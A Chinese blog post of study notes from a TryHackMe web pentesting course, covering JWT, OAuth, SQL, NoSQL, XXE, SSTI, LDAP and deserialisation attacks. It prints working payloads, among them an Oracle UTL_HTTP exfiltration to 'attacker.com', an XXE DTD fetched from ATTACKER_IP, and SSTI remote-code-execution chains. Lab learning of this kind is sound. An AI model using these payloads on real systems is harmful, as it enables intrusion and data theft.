Recopec
文章23
标签30
分类6

文章分类

一言

文章归档

Try Hack Me - Web Application Pentesting

Try Hack Me - Web Application Pentesting

前言:感觉纯粹是为了记录而记录的,回过头来看,基本上忘记的差不多了,只有一个大概的印象,看来之后回去还是得要复习一下,不过也留了记录了,之后这个笔记会完善的。

可以看看之后的 WP,比如说 AD、Red Teaming 那些,大部分都是我通关一遍之后再来单独整理的,有自己的理解的文字。

枚举与暴力破解

认证枚举的目的

  • 鉴别有效用户名
  • 密码规则

常见枚举地方

  • 注册页
    • 可以看到用户名或者密码被使用了没有
  • 密码重置功能
    • 通过后端的反应来判断用户名是否存在
  • 错误信息
  • 数据泄露
    • 比如说一个人的信息肯定会有复用的地方

通过详细错误枚举用户邮箱

可以从系统详细错误里面容易泄露的有:

  • 内部路径
  • 数据库详情
  • 用户信息

诱发详细错误的方法

  • 无效的登录
    • 试着输一点错误的用户名和密码试试
  • SQL 注入
  • 文件包含、路径穿越
  • 篡改表单
  • Fuzz

通过登录功能,如果提示邮箱不存在,则可以通过遍历邮箱来找到存在的邮箱地址。

通过密码重置的逻辑来破解

一般密码重置有以下几种方法

  • 基于邮箱的重置
  • 基于安全问题的重置
  • 基于短信的重置

而每个方法都有他的弱点

  • 可预测的 Token
    • token 有规律,或者 token 可以被爆破,也就是有效性没有做限制
  • Token 有效期
  • 校验强度不够
    • 比如说问题太常见了
  • 信息泄露
    • 会泄露用户名或者邮箱,以提供更多线索
  • 不安全的传输
    • 没用 HTTPS,可能会被劫持

其他

后面的就是一个爆破密码重置 token,和一个爆破 HTTP Basic 认证的。然后说了一下信息收集的手段,网页时光机和搜索引擎的语法。

Session 管理

这一章就说了一下 Cookie 和 Session 的区别,然后演示了一下客户端这边改 session 字段达到垂直越权。

JWT 安全

JSON Web Tokens

JWT 结构

JWT 由三部分组成,每部分都是由 Base64Url 编码的,用 . 隔开。

  • 头部
    • 通常表示了这是什么类型的 token 和用了哪种加密算法
  • 载荷
    • 是 token 的主体,里面包含 claims。 claims 是为特定实现提供的一条信息。在 JWT 中有注册声明,以及公共和私有声明。
  • 签名
    • 签名是验证 token 有效性的一种方法,签名所用的算法在头部中有写明

签名算法

  • None
    • 字面意思,没有算法,实际上是一个没有签名的 JWT
  • 对称签名
    • HS256,他会使用一个共享的密钥 (secret key) 来计算 JWT 的头部和载荷的哈希值。
    • 签名包含的内容:Base64Url 编码后的头部 + 一个点 (.) + Base64Url 编码后的载荷
  • 不对称签名
    • RS256,先生成 hash,然后用私钥加密这个 hash。

敏感字段泄露

  1. 敏感信息被直接包含在 JWT 的 payload。比如 passwordflag 这样的敏感数据,不应该被直接放到 JWT 中,因为 JWT 会被发送到客户端。由于 JWT 的 payload 只是经过 Base64 编码,未加密,任何拿到 JWT 的人都可以轻易解码并查看其中的内容。
  2. 后端不应盲目信任 payload 中的敏感数据。服务器端在收到 JWT 并验证其签名后,不应该直接使用 payload 中可能包含的敏感信息(如 passwordflag)。这些敏感信息不应由客户端提供
  3. 正确的做法是从后端数据库中查找敏感数据。当服务器需要这些敏感信息时,它应该从 JWT 中提取非敏感的用户标识符(比如 username),然后使用这个标识符去自己的后端数据库中安全地查询并获取真正的敏感数据(比如用户的权限、角色、flag 值等)。

签名验证错误

不验证签名

利用签名未验证漏洞进行攻击

正如你所说,攻击者利用这个缺陷的方式就是:

  1. 篡改 payload 内容: 攻击者可以修改 JWT payload 中的任何信息,例如将 admin 字段从 0 改为 1
  2. 删除或忽略签名: 因为服务器根本不验证签名,所以攻击者甚至可以删除 JWT 的签名部分(第三部分),或者直接随便填一个错误的签名,服务器仍然会接受。
  3. 冒充高权限用户: 攻击者可以伪造一个 admin: 1 的 JWT,然后冒充管理员用户进行请求,从而达到获取敏感信息(如 flag)的目的。

修复方案

修复这个漏洞的方法非常直接和关键:始终验证 JWT 签名。

1
payload = jwt.decode(token, self.secret, algorithms="HS256")
  • 通过提供 secret(对于对称签名算法如 HS256)或 public key(对于非对称签名算法如 RS256),JWT 解码库会强制进行签名验证。
  • 只有当 JWT 的签名是使用正确的密钥生成的,且 JWT 的头部和载荷内容与签名匹配时,jwt.decode 才会成功,否则会抛出验证错误。

签名可被降级

核心漏洞:签名可被降级到 None

简单来说,这个漏洞允许攻击者:

  1. 修改 JWT 头部 (header) 中的 alg (algorithm) 字段为 None
  2. 将修改后的 JWT 发送给服务器。
  3. 如果服务器端的 JWT 验证库没有正确处理 None 算法(特别是当它没有显式地拒绝 None 算法或者没有指定一个允许的算法列表时),它可能会错误地跳过签名验证,并认为这个“未签名”的 JWT 是有效的。

开发者的错误: 问题在于开发者没有正确地实现验证逻辑:

  • 没有锁定算法: 开发者可能没有强制要求只能使用特定的签名算法(例如 HS256)。

  • 没有拒绝 None 算法: 他们的代码可能没有明确地拒绝 None 算法,导致库在遇到 None 时,默认跳过签名验证。

  • 动态读取 alg 文中提到的“开发者的错误”示例就是:

    1
    2
    3
    header = jwt.get_unverified_header(token) # 获取未验证的头部
    signature_algorithm = header['alg']       # 读取攻击者控制的 alg 字段
    payload = jwt.decode(token, self.secret, algorithms=signature_algorithm) # 用这个 alg 去解码

    这种方式让攻击者通过控制 alg 字段,来控制服务器用来验证签名的算法。当攻击者将 alg 改为 None 时,jwt.decode 函数会接收到 algorithms=None,从而导致签名验证被绕过。

修复方案

修复方法很简单:在调用 JWT 解码函数时,显式地提供一个允许的签名算法列表

1
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
  • 通过这种方式,即使攻击者将 JWT 头部中的 alg 字段改为 None,或者任何不在 ["HS256", "HS384", "HS512"] 列表中的算法,jwt.decode 函数也会抛出错误,拒绝该 JWT,因为它只接受明确指定的安全算法。
  • 文中的 Pyjwt 库也对此进行了安全增强,当指定了 secretalgNone 时会抛出异常,这是防止此类攻击的一种内置保护。

总而言之,这个例子完美展示了 “最小权限原则” 在代码层面的体现:只允许明确的安全算法,而不是盲目信任 JWT 头部中声明的算法。这是防止 JWT 伪造的关键防御措施之一。

弱对称密钥

因为对称密钥的使用,所以 JWT 的安全性就依赖密钥的熵和长度了。因为对称密钥是可以恢复的,所以密钥一旦泄露,就导致数据的安全性得不到保障了。

JWT 算法混淆攻击

核心漏洞点:后端 JWT 验证库的实现错误,将非对称算法的公钥错误地用作对称算法(HS256)的密钥

攻击流程分解

  1. 原始服务器设置:
    • 服务器最初使用 RS256(非对称) 算法来签名 JWT。这意味着服务器有一个私钥(用于签名)和一个公钥(用于验证)。这个公钥是公开的。
    • 服务器的验证逻辑可能允许多种算法,包括 RS256 和 HS256,并且错误地处理了密钥类型。
  2. 攻击者的操作:
    • 步骤 1:获取原始 JWT 和公钥。
      • 攻击者通过认证获得一个合法的 JWT。
      • 攻击者也获得了服务器的公钥。 (通常通过 API 或证书是公开可获取的)。
    • 步骤 2:篡改 JWT 的头部。
      • 攻击者将 JWT 头部中的 alg 字段从 RS256 修改为 **HS256**。
      • 攻击者同时可以修改 payload 中的任何内容(比如将 admin:0 改为 admin:1)。
    • 步骤 3:使用服务器的公钥作为 HS256 的“秘密密钥”来签名伪造的 JWT。
      • 这是最关键的一步。由于攻击者知道了服务器的公钥,他们就使用这个公钥作为 HS256 的秘密密钥来对篡改后的 JWT 头部和载荷进行签名。
      • 记住:HS256 签名算法的特点是,签名和验证都使用同一个密钥
  3. 服务器端的错误验证逻辑(漏洞所在):
    • 当服务器接收到这个被篡改的 JWT 时,它会读取 alg 字段,发现它是 HS256
    • 此时,有缺陷的 JWT 验证库会发生混淆:它本应该使用一个真正的 HS256 秘密密钥来验证签名。但是,由于它的实现缺陷,它错误地将原本用于验证 RS256 的公钥(这个公钥在服务器端是已知的)当作了 HS256 的“秘密密钥”
    • 服务器现在用这个“(伪装成)HS256 密钥的公钥”来验证 JWT 的签名。
  4. 攻击成功:
    • 攻击者在步骤 3 中,就是用这个公钥作为“秘密密钥”来生成 HS256 签名的。
    • 服务器现在用同一个公钥作为“秘密密钥”来验证签名。
    • 因为用于签名和验证的“密钥”是同一个(都是服务器的公钥),所以签名验证成功!

总结

这种攻击的本质是签名算法混淆,利用了 JWT 验证库在处理不同算法类型时的逻辑缺陷,特别是当允许混用对称和非对称算法时。攻击者不需要破解私钥,也不需要知道真正的 HS256 秘密密钥,只需要利用服务器公开的公钥就能伪造签名。

修复方案

1
2
3
4
5
6
7
8
header = jwt.get_unverified_header(token)
algorithm = header['alg']
payload = ""

if "RS" in algorithm: # 如果是RS算法,则明确用公钥验证
    payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm: # 如果是HS算法,则明确用秘密密钥验证
    payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])

这个修复的关键在于:

  1. 根据 JWT 头部声明的 alg 字段,明确区分是使用 public_key 还是 secret 进行验证。
  2. 同时,algorithms 参数还限制了只允许特定范围的算法,避免了 None 算法降级。

有效期

如果 JWT 中没有设置 exp (expiration time) 声明,或者 exp 值设置得过大,那么这个 JWT 就可能是永久有效的,或者有效期过长。

  1. exp (Expiration Time) 声明的重要性:
    • 在验证 JWT 签名之前,一个重要的步骤是检查 JWT 的生命周期。这通常是通过读取 payload 中的 exp(过期时间)声明来完成的。
    • 如果当前时间超过了 exp 指定的时间,那么 JWT 应该被认为是无效的。
  2. exp 值过大或缺失的问题:
    • exp 值设置太大: 即使设置了 exp,但如果过期时间被设置得非常遥远(比如几十年后),那么这个 JWT 实际上也接近于永久有效。
    • exp 值未设置: 如果 JWT 的 payload 中根本没有 exp 这个声明,那么大多数 JWT 库在默认情况下,只要签名验证通过,就会认为这个 token 是永久有效的,因为它没有一个明确的过期时间来拒绝它。
    • 后果: 这种“永久有效”或“超长有效期”的 JWT 存在巨大的安全风险。如果一个用户的 JWT 被泄露(例如,通过会话劫持、XSS 攻击、用户设备丢失等),攻击者就可以无限期地使用这个泄露的 JWT 来冒充合法用户,直到服务器端采取其他方式(如密钥轮换、IP 白名单等)来使其失效。
  3. JWT 与传统 Cookie 的区别:
    • Cookie: 传统的会话管理中,服务器可以在任何时候通过使服务器端的会话失效(例如,从数据库中删除会话记录)来“吊销”一个 Cookie。
    • JWT: JWT 的设计理念是无状态 (stateless)去中心化 (decentralized)。一旦 JWT 被签发并发送给客户端,服务器就不再存储其状态。这意味着,如果你想在 exp 时间之前使一个 JWT 失效,你就必须维护一个黑名单 (blocklist / denylist) 来记录所有被吊销的 JWT。维护黑名单会增加服务器端的复杂性,并且在一定程度上打破了 JWT 无状态的优势。
  4. 选择正确的 exp 值:
    • 因此,选择一个合适的 exp 值非常关键,它应该根据应用程序的敏感性和功能来确定。
    • 例如,银行应用(高度敏感)的 JWT 可能只有几分钟的有效期,而邮件服务器(相对不那么敏感)的 JWT 可能有几个小时甚至几天的有效期。
  5. 刷新令牌 (Refresher Tokens):
    • 刷新令牌是一种常见的解决方案,用于解决 JWT 有效期短和用户体验之间的平衡问题。
    • 它通常配合一个短期有效的 access token(用于每次请求)和一个长期有效的 refresh token(用于在 access token 过期后获取新的 access token)。
    • refresh token 通常只在少数特定端点使用,并且可以被服务器端存储和吊销。

开发错误与修复

  • 错误: 没有在 JWT 的 payload 中包含 exp 声明,导致 token 永久有效。
  • 修复: 在签发 JWT 时,务必在 payload 中添加 exp 声明,并将其设置为一个合理的、有限的时间。大多数 JWT 库在解码时会自动检查这个 exp 声明。

跨服务中继攻击

简单来说是一个 API 的 JWT 可以在另外一个 API 上作用,原因是 JWT 没有验证 audience 字段

1
payload = jwt.decode(token, self.secret, audience=["appA"], algorithms="HS256")

OAuth 漏洞

OAuth 实际上是调用第三方/第一方的认证接口,比如说 QQ 快捷登录,拿到用户的在第三方/第一方的凭证,这样我们作为调用方就有用户的相关信息和凭据了,然后我们再拿着用户的凭据(token)去调用相关需要凭证才能调用的接口,这样就是一个 OAuth 过程了。

里面容易存在的漏洞我觉得主要还是在那个 token 本身。

关键概念

Resource Owner

字面意思,就相当于在软件开屏的时候,提示你是否授权给应用程序,这时你就是你的资源所有者。

Client

Client 在 OAuth 流程中,是指代表资源所有者(用户)向授权服务器请求访问受保护资源的应用程序

Authorization Server

在成功认证之后,颁发 token 给 client,还有一点就是问你是否允许客户端访问你的数据。

Resource Server

就相当于数据库了,这里的意思是托管着用户的受保护资源,要有有效的 token,才会返回数据。

Authorization Grant

主要的同意类型有 Authorization Code, Implicit, Resource Owner Password Credentials, and Client Credentials.

Access Token

短效,通常使用范围受限。

Refresh Token

用来生成 access token 的,长效。

Redirect URI

是授权服务器在完成用户认证和授权后,将用户的浏览器重定向回去的“客户端应用的接收地址”。

对于 URI 应该会有强校验,不然就随便跳了。

Scope

权限范围吧。

State Parameter

在请求登录的时候,跳到 OAuth 时会发一个 state,服务器返回一个 state,客户端会比对这个 state 是否一样。

如果是 CSRF 请求的话,总得要跳过去得到用户授权,如果直接请求的话那拿不到,就相当于一次请求是带了个验证码。

Token & Authorization Endpoint

认证的两个 API 吧,一个负责用户认证,一个负责颁发 Token。

Grant Types

有好多种,主要是熟悉一下那些数据流,看看图片就理解了。

鉴别 OAuth 框架

  • 看 HTTP 头和响应
  • 看源码
    • js 库
  • 看 URL
    • 有固定格式,特征
  • 看错误信息

偷 OAuth Token

redirect_url 没有被保护

攻击者可以构造 OAuth 链接然后诱导用户点击,token 被发到伪造的 URL 去(因为跳转链接就是携带 token 过去的地方)

缺 state

攻击者构造一个属于自己账户的认证链接,诱导用户点击。本来正常的认证是要带一个 state 参数的(这个参数是存在用户本地的,攻击者拿不到),但是因为认证服务器的问题,不检验这个字段,导致 token 点击就送。

隐式授权流

token 会显示在 url 中,攻击者可以构造 XSS,去偷 token。

MFA

主要就是请求带验证码,密码验证之后能绕过,OTP 爆破。

Hammer

这一关感觉比较难了…因为那个 session 有尝试有效期,刚开始在 burp 里面折腾更新 cookie 很久,后面发现那样执行的话还是有失效的可能。转而写 python 脚本,单线程在慢慢跑。

Advanced SQL Injection

讲了一些二次注入的技巧,靠二次查询触发 SQL 注入,也就是把 SQL 语句拼接在那个查询 SQL 语句的后面

SQL 绕过技巧

字符编码

  • URL 编码
    • ‘ OR 1=1– can be encoded as %27%20OR%201%3D1–
  • 八进制编码
    • SELECT * FROM users WHERE name = ‘admin’ can be encoded as SELECT * FROM users WHERE name = 0x61646d696e
  • Unicode 编码
    • admin can be encoded as \u0061\u0064\u006d\u0069\u006e

可以用 || 替代 OR

1
2
Intro to PHP' || 1=1 --+
Intro%20to%20PHP%27%20%7C%7C%201=1%20--+

这里其实利用的是两个字符串与操作,只要有一个为真这个结果永远为真。

在 URL 编码 中 %20 和 + 等价,都是表示空格。

没有引号的 SQL 注入

  • 使用数值
    • 找一些不需要引号的注入点,直接用 OR 1=1
  • 使用 SQL 注释
    • -- 我不太明白实际的用法,感觉更多的是让他去报错,因为注释掉了后面的话,语句都没有闭合了,肯定报错。
  • 使用 CONCAT()
    • CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) constructs the string admin

不允许空格

  • 注释代替空格
    • use SQL comments (/**/) to replace spaces
  • Tab 或者换行符
    • using tab (\t) or newline (\n)
  • 替代字符
    • such as %09 (horizontal tab), %0A (line feed), %0C (form feed), %0D (carriage return), and %A0 (non-breaking space)

题目中 OR 也被过滤了,用 CONCAT 没用,最后还是用的两个 |,空格用 %09 代替。

1
1%27%09||%091=1%09--%09

一些场景,可以给你绕过一些思路

Scenario Description Example
Keywords like SELECT are banned SQL keywords can often be bypassed by changing their case or adding inline comments to break them up SElEcT * FrOm users or SE//LECT * FROM//users
Spaces are banned Using alternative whitespace characters or comments to replace spaces can help bypass filters. SELECT%0A*%0AFROM%0Ausers or SELECT//*//FROM/**/users
Logical operators like AND, OR are banned Using alternative logical operators or concatenation to bypass keyword filters. username = ‘admin’ && password = ‘password’ or username = ‘admin’//||//1=1 –
Common keywords like UNION, SELECT are banned Using equivalent representations such as hexadecimal or Unicode encoding to bypass filters. SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)
Specific keywords like OR, AND, SELECT, UNION are banned Using obfuscation techniques to disguise SQL keywords by combining characters with string functions or comments. SElECT * FROM users WHERE username = CONCAT(‘a’,’d’,’m’,’i’,’n’) or SElEcT//username//FROM/**/users

带外注入

不同数据库的使用方法

MYSQL

可以写文件出来,然后用其他方式去访问这个文件

1
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';

MSSQL

主要用的是 xp_cmdshell

1
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';

Oracle

1
2
3
4
5
6
7
DECLARE
  req UTL_HTTP.REQ;
  resp UTL_HTTP.RESP;
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
  UTL_HTTP.GET_RESPONSE(req);
END;

实战

在 mysql 中,如果 secure_file_priv 被设置的话,写入文件的目录就被限制住了

用这个命令开无密码共享

1
2
# SMB 开本地共享
python github/impacket/examples/smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp

这是一个带外注入写 SMB 的实例。

1
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --

其他技术

HTTP 头注入

一些可能会把 HTTP 头的一些数据写进数据库,这就造成了注入点了。

比如 UA, Referer, X-Forward-For。

1
curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.10.115.31/httpagent/
1
2
3
4
5
6
7
8
9
10
11
12
13
' UNION SELECT 1,database() ; # "

result: library

' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'library' ; #

result: books,logs,user,visitor

' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'books' ; #

result: book_id,ssn,book_name,author,book_id,book_name,author,flag

' UNION SELECT 1,group_concat(book_id,"::",book_name,"::",author,"::",book_id,"::",book_name,"::",author,"::",flag SEPARATOR '<br>') FROM books ; #

最佳实践

代码方面

参数化查询和预处理语句

使用带参数的查询和预编译语句可以让用户的所有输入变成数据而不是可执行的语句。

1
2
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);

像这样就提前把 SQL 语句传给服务器了,服务器只接受一个 username 字段,然后只把输入当成字符处理。

输入校验和处理

Use built-in functions such as htmlspecialchars() and filter_var() in PHP to sanitise inputs effectively.

最小权限原则

避免用高权限数据库账户操作数据库

存储过程

封装 SQL 逻辑

定期安全审计和代码审查

不用说

SQL 注入高级技巧

以下是一些渗透测试人员在面对 SQL 注入漏洞时,常用的更高级的利用手法:

利用特定数据库功能

不同的数据库管理系统(DBMS),如 MySQL、PostgreSQL、Oracle 和 MSSQL,都有自己独特的功能和语法。渗透测试人员需要了解目标 DBMS 的具体特性才能有效地利用它们。例如,MSSQL 支持 xp_cmdshell 命令,它能被用来执行操作系统命令,这允许攻击者在数据库服务器上运行系统级别的指令。

利用详细错误信息

攻击者可以利用应用程序返回的详细错误信息来获取数据库的架构和结构。基于错误的 SQL 注入就是指通过精心构造查询,故意让应用程序生成包含有用信息(如数据库版本、表名、列名等)的错误消息。例如,使用 1' AND 1=CONVERT(int, (SELECT @@version)) -- 这样的语句,可以触发错误并泄露数据库的版本信息。

绕过 WAF 和过滤器

为了绕过 Web 应用防火墙(WAF)和输入过滤器,渗透测试人员会尝试各种混淆技术。这包括:

  • 大小写混合 (SeLeCt)。
  • 字符串连接 (CONCAT(CHAR(83), CHAR(69), CHAR(76), CHAR(69), CHAR(67), CHAR(84)) 来代替 SELECT)。
  • 使用不同的编码方式(如十六进制编码、URL 编码)。
  • 利用内联注释 (/**/) 和不同字符编码(如 %09 代表制表符,%0A 代表换行符)来绕过简单的过滤器。

数据库指纹识别

确定数据库的类型和版本是定制攻击的关键一步。这可以通过发送特定的查询来实现,因为不同的 DBMS 会对相同的查询给出不同的结果。例如,SELECT version() 在 PostgreSQL 上有效,而 SELECT @@version 则适用于 MySQL 和 MSSQL。通过这些差异,攻击者可以准确识别目标数据库。

利用 SQL 注入进行内网渗透

SQL 注入漏洞不仅能获取数据库信息,还可以作为跳板,进一步渗透到网络的其他部分。一旦数据库服务器被攻破,它就可以被用来访问其他内部系统。这可能涉及从数据库中提取凭据(如用户名和密码),或者利用系统之间已存在的信任关系来扩大攻击范围。

NO SQL

No SQL 注入

注入类型

  • 语法注入

    • 类似于传统的 SQL 注入了,操纵语句导致执行非预期行为
  • 操作符注入

    • 而这个就是用 NoSQL 特殊的操作符,改变逻辑代码的行为了

    • 1
      db.users.find({ username: 'admin', password: { "$ne": null } });

操作符注入

1
['username'=>['$ne'=>'xxxx'], 'password'=>['$ne'=>'yyyy']]

这样一个代码就能把整个数据库 dump 出来。

POST 请求传数组

HTTP 的语法 key[subkey]=value

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
user[$ne]=xxxx&pass[$ne]=yyyy

# 登录 admin 之外的用户
user[$nin][]=admin&pass[$ne]=yyyy

# nin 接收的是一个数组用这种方式来拼接的
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=yyyy

# 爆破密码位数
user=john&pass[$regex]=^.{8}$

# 爆破密码
user=john&pass[$regex]=^1.......$

10584312

语法注入

这一节就有点抽象了,要结合具体代码来理解,原始代码如下

1
for x in mycol.find({"$where": "this.username == '" + username + "'"}):

发现注入

这是我们加了一个 ' 让他报错得出来的原始代码,这个其实是三个部分拼接而成的

  • “this.username == ‘“
  • username
  • “‘“

如果我们加了一个 ' 执行的语句就变成了

1
"this.username == 'admin''"

那肯定会报错的

验证注入

第一次输入:admin' && 0 && 'x

执行的语句变成

1
"this.username == 'admin' && 0 && 'x'"

"this.username == 'admin' 这是一个布尔值, && 0 与任何值计算都是 false,所以折一整个语句都会是 false。

&& 'x 的作用是为了闭合原始查询中剩下的引号。

第二次输入: admin' && 1 && 'x

执行的语句为:

1
"this.username == 'admin' && 1 && 'x'"

执行结果为真,返回结果,证明注入存在。

利用注入

Payload:admin'||1||'

具体执行的代码:

1
"this.username == 'admin'||1||''"

不论 admin 存在和不存在,这个表达式都能返回真,导致整个数据库泄露。

XXE 注入

介绍了一堆实体和解析器,不懂,没了解过

payload 主要是下面这个,用自带的实体解析器,去执行语句或者读取文件

1
2
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///opt/14232d6db2b5fd937aa92e8b3c48d958.txt" >]>

带外 XXE

构建一个 DTD 文件

1
2
3

">
%oobxxe;

payload

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd">
<upload>
    <file>&exfil;</file>
</upload>

攻击机起一个 http 服务端,会接收到拿回来的数据。

SSRF + XXE

同样的套路,payload 如下,要配合 Burp 使用,遍历这个主机上的端口

1
2
3
4
5
6
7
8
9
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

缓解措施

最佳实践

禁用外部实体和 DTDs

使用简单数据格式,比如说 JSON

增强输入校验,检验输入数据是否符合特定的格式,还有过滤一些 XML 特有的符号,比如 <, >, &, ', and "


Server-side Template Injection

主要还是用了那个模板引擎的一些模板语法,造成注入

区分模板引擎

Twig 执行 {{7*7'}} 会输出 49,Jinja2 则会输出 7777777

Jade/Pug,则是用 # 代表模板语法,#{7*7} would return 49

PHP - Smarty

1
2
3
4
5
# 输出结果会全部变成大写
{'Hello'|upper}

# 可以直接调用 PHP 语法
{system("ls")}

NodeJS - Pug

关键漏洞点

  • JavaScript 执行
    • Pug 允许嵌入 JS 语句在 #{} 里面,会被当成 JS 代码执行,造成任意代码执行。
  • 默认转义
    • Pug 模板引擎在渲染时,会**自动对某些输出进行 HTML 转义 (HTML Escaping)**。这意味着当你在模板中使用标准的 #{} 进行变量插值时,Pug 会把 HTML 特殊字符(比如 <>&"')转换成它们的 HTML 实体编码。
      • #{} (默认行为): HTML 转义,主要用于防 XSS
      • !{} (非转义): 不进行 HTML 转义,因此如果使用不当,容易导致 XSS
    • 默认转义的局限性: 尽管能防大部分 XSS,但对 !{} 无效,且不能阻止服务端层面的代码执行(SSTI 本身),因为 SSTI 发生在模板渲染的服务器端,而 HTML 转义是针对生成 HTML 内容的。

利用 Payload

1
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}

spawnSync 不能直接传命令执行,它不会自动解析你传入的命令字符串中的参数。它会把整个字符串当作一个单一的命令来尝试执行,而不是拆分成命令和独立参数。

1
2
3
4
spawnSync(command, [args], [options])

# 最终 payload
#{root.process.mainModule.require('child_process').spawnSync('cat', ['7f58571b42d8c477a2f3efa69a681ac3.txt']).stdout}

Python - Jinja2

Jinja2 解析表达式用的是花括号,测试 payload {{7*7}}

一旦确定能执行的话,我们就可以用这个 payload 来实现 RCE

1
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("cat 5d8bea6df83cbb6767a235c4ba54933b.txt")}}

拆解一下 payload

  • "".__class__.__mro__[1] 这个方法能访问到基类 object ,他是所有 python 类的父类。
  • __subclasses__(): 把 object 的所有子类显示出来, 然后 [157] 一般是 subprocess.Popen 类的索引(这个索引数和目标环境有关系)。

然后如果你用 check_output 的话,执行带参数的命令他会当作一个完整的可执行程序名去查找和运行,而不是把 cat 当作程序,文件名当作参数。

1
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(["cat","5d8bea6df83cbb6767a235c4ba54933b.txt"])}}

自动化利用工具

SSTImap

挑战

题目给了一个 Form Tools 的靶场,在网上搜了一下发现有洞,一个是 SSRF,在创建模板的页面里面有一个智能爬取功能,会执行 curl,还有一个是 SSTI,给的提示说是改 Page Theme 不过我改的 Page Titles 能起作用,不过每次都要重新登录一下账号才能起作用,最后还是拿到 flag。

LDAP 注入

这个 LDAP 和 AD 强关联

LDAP 搜索语法

1
2
3
(base DN) (scope) (filter) (attributes)

ldapsearch -x -H ldap://10.10.55.42:389 -b "dc=ldap,dc=thm" "(ou=People)"

其实也是一个通配符引起的注入,一个 * 干全部。

Injects

用下面这个语句登录进了普通管理页面,没啥用,看了一下别人的 wp 是用 SQL 注入字典跑出来的,我也整理了一份。

1
1%27%09||%091=1%09--%09

SSTI 利用则参考:https://www.freebuf.com/articles/web/314028.html

1
{{["cat ./flags/5d8af1dc14503c7e4bdc8e51a3469f48.txt", 0]|sort("passthru")}}

Insecure Deserialisation

终于讲到反序列化了

鉴别

能访问到源码

观察 serialize(), unserialize(), pickle.loads() 和其他的方法

不能访问到源码

也就是黑盒测试,试着加 ~ 在文件末尾,这可能会访问到之前因为编辑留下来的备份文件什么的。或者 .bak 之类的试试。

分析服务器响应

  • 可能会抛出相关方法的错误消息
  • 修改 POST 和 Cookie ,观察程序的反应,可能会有洞

Cookie 可能包含一些反序列化的数据

  • base64 编码的 cookie:PHP 和 NET
  • ASP:__VIEWSTATE

自动化脚本

PHPGGC

1
2
3
4
5
6
7
php phpggc -l

# 查看 payload
php phpggc -l Laravel

# 生成 payload
php phpggc -b Laravel/RCE3 system whoami

通过 Payload + APP_KEY 生成可利用的 payload,这里 THM 有一个网页帮我们实现这一点

http://10.10.82.141:8089/cve.php?app_key=HgJVgWjqPKZoJexCzzpN64NZjjVrzIVU5dSbGcW1ZgY%3D&payload=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6Mzp7czo2OiIAKgBhcHAiO3M6Njoid2hvYW1pIjtzOjE3OiIAKgBkZWZhdWx0Q2hhbm5lbCI7czoxOiJ4IjtzOjE3OiIAKgBjdXN0b21DcmVhdG9ycyI7YToxOntzOjE6IngiO3M6Njoic3lzdGVtIjt9fX0%3D

执行 payload

1
2
3
4
5
# whoami
curl 10.10.82.141:8089 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Im01dXZ0QXhrVm5iUHFOZWxCSnFINHc9PSIsInZhbHVlIjoiSWxhVDZZXC9cL0dyTTNLQVVsNVN6cGpFRXdYeDVqN1RcL3d0Umhtcnd2TzlVM1I5SnZ3OVdyeVFjU3hwbFwvS2dvaUF5ZlpTcW04eThxdXdQVWE5K08xSWU4Q1FWMG5GVjhlKzJkdEUwUnhXYXNuamFaWDI4bXFIZ1FaOHRWRGtVaE1EVGRxeE8xcGp0MWc0ZjNhMU5cL1BWdlQ0ZjdwdmRJWHRFYXR1YUUyNUNHTG0rRlNqWkxDSU9vSlI1MGhUNmtFQytpdnVmTnRlTVFNKzZhRDQ0amhBRXNGaUZMcmplMWdQajhINDBsY05sNis2d28rdktGNU04bklIdEUrVGczR3hseXQ0eEF4RjJoSU1oYXZVU3ZhSk1CUjlEKzZzaEdJRHk5RXlscjhOSUh5bjl0MitUeEx2Y281VTZUY29Ea0kyRiIsIm1hYyI6ImE1OGY2MjBhZThmYjdhMTgyMzA1M2IwNGExZmJkZTMzOTA2ZDBhMDI5N2Y3OWQzNDYwNzJjZTgyNjIzNmFhMTMifQ=='| head -n 2

# uname -r
